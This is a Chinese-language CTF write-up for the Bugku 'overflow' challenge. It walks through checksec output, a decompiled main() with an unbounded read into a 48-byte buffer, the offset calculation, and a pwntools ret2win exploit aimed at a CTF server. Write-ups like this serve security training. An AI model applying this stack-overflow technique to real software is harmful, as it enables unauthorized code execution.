Bugku Overflow Writeup
检查文件
pwndbg> checksec
File: /home/zhailin/CTF_Challenges/Pwn/BUGKU/overflow/pwn2
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
放入IDA Pro中
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE s[48]; // [rsp+0h] [rbp-30h] BYREF
memset(s, 0, sizeof(s));
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("say something?");
read(0, s, 0x100u);
puts("oh,that's so boring!");
return 0;
}
主函数中定义了一个char
类型数组s
,首先,memset()
函数将char类型数组s的前0x30
字节初始化为0,之后,read()
函数以s作为缓存区读取了0x100
个字节的数据
我们继续在IDA中寻找,发现存在一个get_shell_()函数,地址为0x400751
函数的返回值使用system()函数执行了cat flag
命令,这样可以直接得到flag
这样我们就有了思路:输入0x30个字节的数据覆盖s,再输入8个字节的数据覆盖栈底指针rbp
,然后将返回值修改为get_shell_()函数的地址
或者一个更直接的思路,我们在pwndbg中调试,先生成一个长度为200的随机字符串,然后将程序run起来
我们将随机数据输入后程序崩溃,观察到原先的内容都被我们输入的随机数据所覆盖,rsp
的地址直接被覆盖为haaaaaaa
(换算成Hex是0x6161616161616168),计算得出偏移量是56
Exp如下:
from pwn import *
#io = process('./pwn2')
io = remote("117.72.52.127", 11909)
payload = b'a' * 56 + p64(0x400751)
io.recvline("say something?\n")
io.send(payload)
io.interactive()
Bugku Overflow Writeup
https://zer0ptr.github.io/2025/09/24/bugku-overflow-wp/